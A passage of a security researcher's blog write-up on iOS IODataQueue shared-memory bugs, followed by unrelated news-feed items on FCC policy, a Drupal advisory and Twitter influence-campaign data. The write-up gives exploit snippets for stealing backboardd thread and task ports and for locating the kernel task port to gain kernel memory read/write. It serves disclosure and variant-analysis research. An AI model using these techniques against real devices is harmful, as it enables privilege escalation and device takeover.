The ::setNotificationPort method allocated a mach message header structure via IOMalloc when it was first called and stored the buffer as notifyMsg.

The ::enqueue method was responsible for writing data into the next free slot in the queue, potentially wrapping back around to the beginning of the buffer.

Finally, ::getMemoryDescriptor created an IOMemoryDescriptor object which wrapped the dataQueue memory to return to userspace.

IODataQueue.cpp was 243 lines, including license and comments. I count at least 6 bugs, which I've highlighted in the code. There's only one integer overflow check but there are multiple obvious integer overflow issues. The other problems stemmed from the fact that the only place where the IODataQueue was storing the queue's length was in the shared memory which userspace could modify.

This lead to obvious memory corruption issues in ::enqueue since userspace could alter the queueSize, head and tail fields and the kernel had no way to verify whether they were within the bounds of the queue buffer. The other two uses of the queueSize field also yielded interesting bugs: The ::free method has to trust the queueSize field, and so will make an oversized IOFree. Most interesting of all however is ::getMemoryDescriptor, which trusts queueSize when creating the IOMemoryDescriptor. If the kernel code which was using the IODataQueue allowed userspace to get multiple memory descriptors this would have let us get an oversized memory descriptor, potentially giving us read/write access to other kernel heap objects.

Back to Pangu
Pangu's kernel code exec bug isn't in IODataQueue but in the subclass IOSharedDataQueue. IOSharedDataQueue.h tells us that the "IOSharedDataQueue class is designed to also allow a user process to queue data to kernel code."

IOSharedDataQueue adds one (unused) field:

   struct ExpansionData {
   };
   /*! @var reserved
       Reserved for future use.  (Internal use only) */
   ExpansionData * _reserved;


IOSharedDataQueue doesn't override the ::enqueue method, but adds a ::dequeue method to allow the kernel to dequeue objects which userspace has enqueued.

::dequeue had the same problems as ::enqueue with the queue size being in shared memory, which could lead the kernel to read out of bounds. But strangely that wasn't the only change in IOSharedDataQueue. Pangu noticed that IOSharedDataQueue also had a much more curious change in its overridden version of ::initWithCapacity:

Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
   IODataQueueAppendix *   appendix;
   
   if (!super::init()) {
       return false;
   }
   
   dataQueue = (IODataQueueMemory *)IOMallocAligned(round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE), PAGE_SIZE);
   if (dataQueue == 0) {
       return false;
   }

   dataQueue->queueSize = size;
   dataQueue->head = 0;
   dataQueue->tail = 0;
   
   appendix = (IODataQueueAppendix *)((UInt8 *)dataQueue + size + DATA_QUEUE_MEMORY_HEADER_SIZE);
   appendix->version = 0;
   notifyMsg = &(appendix->msgh);
   setNotificationPort(MACH_PORT_NULL);

   return true;
}

IOSharedDataQueue increased the size of the shared memory buffer to also add space for an IODataQueueAppendix structure:

typedef struct _IODataQueueAppendix {
   UInt32 version;
   mach_msg_header_t msgh;
} IODataQueueAppendix;

This contains a version field and, strangely, a mach message header. Then on this line:

 notifyMsg = &(appendix->msgh);

the notifyMsg member of the IODataQueue superclass is set to point in to that appendix structure.

Recall that IODataQueue allocated a mach message header structure via IOMalloc when a notification port was first set, so why did IOSharedDataQueue do it differently? About the only plausible explanation I can come up with is that a developer had noticed that the dataQueue memory allocation typically wasted almost a page of memory, because clients asked for a page-multiple number of bytes, then the queue allocation added a small header to that and rounded up to a page-multiple again. This change allowed you to save a single 0x18 byte kernel allocation per queue. Given that this change seems to have landed right around the launch date of the first iPhone, a memory constrained device with no swap, I could imagine there was a big drive to save memory.

But the question is: can you put a mach message header in shared memory like that?

What's in a message?
Here's the definition of mach_msg_header_t, as it was in iOS 7.1.2:

typedef struct
{
 mach_msg_bits_t  msgh_bits;
 mach_msg_size_t  msgh_size;
 mach_port_t      msgh_remote_port;
 mach_port_t      msgh_local_port;
 mach_msg_size_t  msgh_reserved;
 mach_msg_id_t    msgh_id;
} mach_msg_header_t;

(The msgh_reserved field has since become msgh_voucher_port with the introduction of vouchers.)

Both userspace and the kernel appear at first glance to have the same definition of this structure, but upon closer inspection if you resolve all the typedefs you'll see this very important distinction:

userspace:
typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t;
typedef __darwin_natural_t __darwin_mach_port_name_t;
typedef unsigned int __darwin_natural_t

kernel:
typedef ipc_port_t mach_port_t;
typedef struct ipc_port *ipc_port_t;

In userspace mach_port_t is an unsigned 32-bit integer which is a task-local name for a port, but in the kernel a mach_port_t is a raw pointer to the underlying ipc_port structure.

Since the kernel is the one responsible for initializing the notification message, and is the one sending it, it seems that the kernel is writing kernel pointers into userspace shared memory!

Fast-forward
Before we move on to writing a new exploit for that old issue let's jump forward to 2018, and why exactly I'm looking at this old code again.

I've recently spoken publicly about the importance of variant analysis, and I thought it was important to actually do some variant analysis myself before I gave that talk. By variant analysis, I mean taking a known security bug and looking for code which is vulnerable in a similar way. That could mean searching a codebase for all uses of a particular API which has exploitable edge cases, or even just searching for a buggy code snippet which has been copy/pasted into a different file.

Userspace queues and deja-xnu
This summer while looking for variants of the old IODataQueue issues I saw something I hadn't noticed before: as well as the facilities for enqueuing and dequeue objects to and from kernel-owned IODataQueues, the userspace IOKit.framework also contains code for creating userspace-owned queues, for use only between userspace processes.

The code for creating these queues isn't in the open-source IOKitUser package; you can only see this functionality by reversing the IOKit framework binary.

There are no users of this code in the IOKitUser source, but some reversing showed that the userspace-only queues were used by the com.apple.iohideventsystem MIG service, implemented in IOKit.framework and hosted by backboardd on iOS and hidd on MacOS. You can talk to this service from inside the app sandbox on iOS.

Reading the userspace __IODataQueueEnqueue method, which is used to enqueue objects into both userspace and kernel queues, I had a strong feeling of deja-xnu: It was trusting the queueSize value in the queue header in shared memory, just like CVE-2014-4418 from 2014 did. Of course, if the kernel is the other end of the queue then this isn't interesting (since the kernel doesn't trust these values) but we now know that there are userspace only queues, where the other end is another userspace process.

Reading more of the userspace IODataQueue handling code I noticed that unlike the kernel IODataQueue object, the userspace one had an appendix as well as header. And in that appendix, like IOSharedDataQueue, it stored a mach message header! Did this userspace IODataQueue have the same issue as the IOSharedDataQueue issue from Pangu 7/8? Let's look at the code:

IOReturn IODataQueueSetNotificationPort(IODataQueueMemory *dataQueue, mach_port_t notifyPort)
{
   IODataQueueAppendix * appendix = NULL;
   UInt32 queueSize = 0;
           
   if ( !dataQueue )
       return kIOReturnBadArgument;
       
   queueSize = dataQueue->queueSize;
   
   appendix = (IODataQueueAppendix *)((UInt8 *)dataQueue + queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE);

   appendix->msgh.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
   appendix->msgh.msgh_size        = sizeof(appendix->msgh);
   appendix->msgh.msgh_remote_port = notifyPort;
   appendix->msgh.msgh_local_port  = MACH_PORT_NULL;
   appendix->msgh.msgh_id          = 0;

   return kIOReturnSuccess;
}

We can take a look in lldb at the contents of the buffer and see that at the end of the queue, still in shared memory, we can see a mach message header, where the name field is the remote end's name for the notification port we provided!

Exploitation of an arbitrary mach message send
In XNU each task (process) has a task port, and each thread within a task has a thread port. Originally a send right to a task's task port gave full memory and thread control, and a send right to a thread port meant full thread control (which is of course also full memory control.)

As a result of the exploits which I and others have released abusing issues with mach ports to steal port rights Apple have very slowly been hardening these interfaces. But as of iOS 11.4.1 if you have a send right to a thread port belonging to another task you can still use it to manipulate the register state of that thread.

Interestingly process startup on iOS is sufficiently deterministic that in backboardd on iOS 7.1.2 on an iPhone 4 right up to iOS 11.4.1 on an iPhone SE, 0x407 names a thread port.

Stealing ports
The msgh_local_port field in a mach message is typically used to give the recipient of a message a send-once right to a "reply port" which can be used to send a reply. This is just a convention and any send or send-once right can be transferred here. So by rewriting the mach message in shared memory which will be sent to us to set the msgh_local_port field to 0x407 (backboardd's name for a thread port) and the msgh_bits field to use a COPY_SEND disposition for the local port, when the notification message is sent to us by backboardd we'll receive a send right to a backboardd thread port!

This exploit for this issue targets iOS 11.4.1, and contains a modified version of the remote_call code from triple_fetch to work with a stolen thread port rather than a task port.

Back to 2014
I mentioned that Apple have slowly been adding mitigations against the use of stolen task ports. The first of these mitigations I'm aware of was to prevent userspace using the kernel task port, often known as task-for-pid-0 or TFP0, which is the task port representing the kernel task (and hence allowing read/write access to kernel memory). I believe this was done in response to my mach_portal exploit which used a kernel use-after-free to steal a send right to the kernel task port.

Prior to that hardening, if you had a send right to the kernel task port you had complete read/write access to kernel memory.

We've seen that port name allocation is extremely stable, with the same name for a thread port for four years. Is the situation similar for the ipc_port pointers used in the kernel in mach messages?

Very early kernel port allocation is also deterministic. I abused this in mach_portal to steal the kernel task port by first determining the address of the host port then guessing that the kernel task port must be nearby since they're both very early port allocations.

Back in 2014 things were even easier because the kernel task port was at a fixed offset from the host port; all we need to do is leak the address of the host port then we can compute the address of the kernel task port!

Determining port addresses
IOHIDEventService is a userclient which exposes an IOSharedDataQueue to userspace. We can't open this from inside the app sandbox, but the exploit for the userspace IODataQueue bug was easy enough to backport to 32-bit iOS 7.1.2, and we can open an IOHIDEventService userclient from backboardd.

The sandbox only prevents us from actually opening the userclient connection. We can then transfer the mach port representing this connection back to our sandboxed app and continue the exploit from there. Using the code I wrote for triple_fetch we can easily use backboardd's task port which we stole (using the userspace IODataQueue bug) to open an IOKit userclient connection and move it back:

uint32_t remote_matching =
 task_remote_call(bbd_task_port,
                  IOServiceMatching,
                  1,
                  REMOTE_CSTRING("IOHIDEventService"));
 
uint32_t remote_service =
 task_remote_call(bbd_task_port,
                  IOServiceGetMatchingService,
                  2,
                  REMOTE_LITERAL(0),
                  REMOTE_LITERAL(remote_matching));
 
uint32_t remote_conn = 0;
uint32_t remote_err =
 task_remote_call(bbd_task_port,
                  IOServiceOpen,
                  4,
                  REMOTE_LITERAL(remote_service),
                  REMOTE_LITERAL(0x1307), // remote mach_task_self()
                  REMOTE_LITERAL(0),
                  REMOTE_OUT_BUFFER(&remote_conn,
                                    sizeof(remote_conn)));
 
mach_port_t conn =
 pull_remote_port(bbd_task_port,
                  remote_conn,
                  MACH_MSG_TYPE_COPY_SEND);

We then just need to call external method 0 to "open" the queue and IOConnectMapMemory to map the queue shared memory into our process and find the mach message header:

vm_address_t qaddr = 0;
vm_size_t qsize = 0;

IOConnectMapMemory(conn,
                  0,
                  mach_task_self(),
                  &qaddr,
                  &qsize,
                  1);

mach_msg_header_t* shm_msg =
 (mach_msg_header_t*)(qaddr + qsize - 0x18);

In order to set the queue's notification port we need to call IOConnectSetNotificationPort on the userclient:

mach_port_t notification_port = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(),
                  MACH_PORT_RIGHT_RECEIVE,
                  &notification_port);

uint64_t ref[8] = {0};
IOConnectSetNotificationPort(conn,
                            0,
                            notification_port,
                            ref);

We can then see the kernel address of that port's ipc_port in the shared memory message:

+0x00001010 00000013  // msgh_bits
+0x00001014 00000018  // msgh_size
+0x00001018 99a3e310  // msgh_remote_port
+0x0000101c 00000000  // msgh_local_port
+0x00001020 00000000  // msgh_reserved
+0x00001024 00000000  // msgh_id


We now need to determine the heap address of an early kernel port. If we just call IOConnectSetNotificationPort with a send right to the host_self port, we get an error:

IOConnectSetNotificationPort error: 1000000a (ipc/send) invalid port right

This error is actually from the MIG client code telling us that the MIG serialized message failed to send. IOConnectSetNotificationPort is a thin wrapper around the MIG generated io_conenct_set_notification_port client code. Let's take a look in device.defs which is the source file used by MIG to generate the RPC stubs for IOKit:

routine io_connect_set_notification_port(
   connection        : io_connect_t;
in notification_type : uint32_t;
in port              : mach_port_make_send_t;
in reference         : uint32_t);

Here we can see that the port argument is defined as a mach_port_make_send_t which means that the MIG code will send the port argument in a port descriptor with a disposition of MACH_MSG_TYPE_MAKE_SEND, which requires the sender to hold a receive right. But in mach there is no way for the receiver to determine whether the sender held a receive right for a send right which you received or instead sent you a copy via MACH_MSG_TYPE_COPY_SEND. This means that all we need to do is modify the MIG client code to use a COPY_SEND disposition and then we can set the queue's notification port to any send right we can acquire, irrespective of whether we hold a receive right.

Doing this and passing the name we get from mach_host_self() we can learn the host port's kernel address:

host port: 0x8e30cee0

Leaking a couple of early ports which are likely to come from the same memory page and finding the greatest common factor gives us a good guess for the size of an ipc_port_t in this version of iOS:

master port: 0x8e30c690
host port: 0x8e30cee0
GCF(0x690, 0xee0) = 0x70

Looking at the XNU source we can see that the host port is allocated before the kernel task port, and since this was before the zone allocator freelist randomisation mitigation was introduced this means that the address of the kernel task port will be somewhere below the host port.

By setting the msgh_local_port field to the address of the host port - 0x70, then decrementing it by 0x70 each time we receive a notification message we will be sent a different early port each time a notification message is sent. Doing this we learn that the kernel task port is allocated 5 ports after the host port, meaning that the address of the kernel task port is host_port_kaddr - (5*0x70).

Putting it all together
You can get my exploit for iOS 7.1.2 here, I've only tested it on an iPhone 4. You'll need to use an old version of XCode to build and run it; I'm using XCode 7.3.1.

Launch the app, press the home button to trigger an HID notification message and enjoy read/write access to kernel memory. :)

In 2014 then it seems that with enough OS internals knowledge and the right set of bugs it was pretty easy to build a logic bug chain to get kernel memory read write. Things have certainly changed since then, but I'd be interested to compare this post with another one in 2022 looking back to 2018.

Lessons
Variant analysis is really important, but attackers are the only parties incentivized to do a good job of it. Why did the userspace variant of this IODataQueue issue persist for four more years after almost the exact same bug was fixed in the kernel code?

Let's also not underplay the impact that just the userspace version of the bug alone could have had. Prior to mach_portal, due to a design quirk of the com.apple.iohideventsystem MIG service backboardd had send rights to a large number of other process's task ports, meaning that a compromise of backboardd was also a compromise of those tasks.

Some of those tasks ran as root meaning they could have exploited the processor_set_tasks vulnerability to get the task ports for any task on the device, which despite being a known issue also wasn't fixed until I exploited it in triple_fetch.

This IODataQueue issue wasn't the only variant I found as part of this project; the deja-xnu project for iOS 11.4.1 also contains PoC code to trigger a MIG code generation bug in clients of backboardd, and the project zero tracker has details of further issues.

A final note on security bulletins
You'll notice that none of the issues I've linked above are mentioned in the iOS 12 security bulletin, despite being fixed in that release. Apple are still yet to assign CVEs for these issues or publicly acknowledge that they were fixed in iOS 12. In my opinion a security bulletin should mention the security bugs that were fixed. Not doing so provides a disincentive for people to update their devices since it appears that there were fewer security fixes that there really were.

  • open
  • next
Ars Technica

Ajit Pai killed rules that could have helped Florida recover from hurricane

Ars Technica
FCC Chairman Ajit Pai.

Enlarge / FCC Chairman Ajit Pai speaking at a press conference on October 1, 2018 in Washington, DC. (credit: Getty Images | Mark Wilson )

The Federal Communications Commission chairman slammed wireless carriers on Tuesday for failing to quickly restore phone service in Florida after Hurricane Michael, calling the delay "completely unacceptable."

But FCC Chairman Ajit Pai's statement ignored his agency's deregulatory blitz that left consumers without protections designed to ensure restoration of service after disasters, according to longtime telecom attorney and consumer advocate Harold Feld.

The Obama-era FCC wrote new regulations to protect consumers after Verizon tried to avoid rebuilding wireline phone infrastructure in Fire Island, New York, after Hurricane Sandy hit the area in October 2012. But Pai repealed those rules, claiming that they prevented carriers from upgrading old copper networks to fiber. Pai's repeal order makes zero mentions of Fire Island and makes reference to Verizon's response to Hurricane Sandy only once, in a footnote.

Read 26 remaining paragraphs | Comments

  • open
  • next
Linux Security

Debian: DSA-4323-1: drupal7 security update

Linux Security
LinuxSecurity.com: Two vulnerabilities were found in Drupal, a fully-featured content management framework, which could result in arbitrary code execution or an open redirect. For additional information, please refer to the upstream advisory at https://www.drupal.org/sa-core-2018-006
  • open
  • next
Ars Technica

Twitter publishes dump of accounts tied to Russian, Iranian influence campaigns

Ars Technica
Russian flag in the breeze.

Enlarge / This image was the profile banner of one of the accounts allegedly run by the Internet Research Agency, the organization that ran social media "influence campaigns" in Russia, Germany, Ukraine, and the US dating back to 2009. (credit: A Russian Troll)

Twitter has released a data store of posts from 3,841 accounts that have been identified as being connected to the Internet Research Agency (IRA), the Russian "troll factory" that used Twitter and Facebook to conduct an "influence campaign" aimed at causing political turmoil during the 2016 US presidential election as well as undermining the political process in other countries, including Germany and Ukraine. The company has also released another set of data connected to 770 accounts believed to be connected to an Iranian influence campaign.

Totaling over 360 gigabytes—including more than 10 million tweets and associated metadata and over 2 million images, animated GIFs, videos, and Periscope streams—the data store provides a picture of how state-sponsored agencies have used the Twitter platform. Some of the content dates as far back as 2009.

In a post announcing the release, Twitter Legal, Policy, and Trust & Safety lead Vijaya Gadde and Twitter's head of Site Integrity Yoel Roth wrote that Twitter was providing the data "with the goal of encouraging open research and investigation of [state-sponsored influence and information campaigns] from researchers and academics around the world."

Read 6 remaining paragraphs | Comments

  • open
  • next
more
mark as read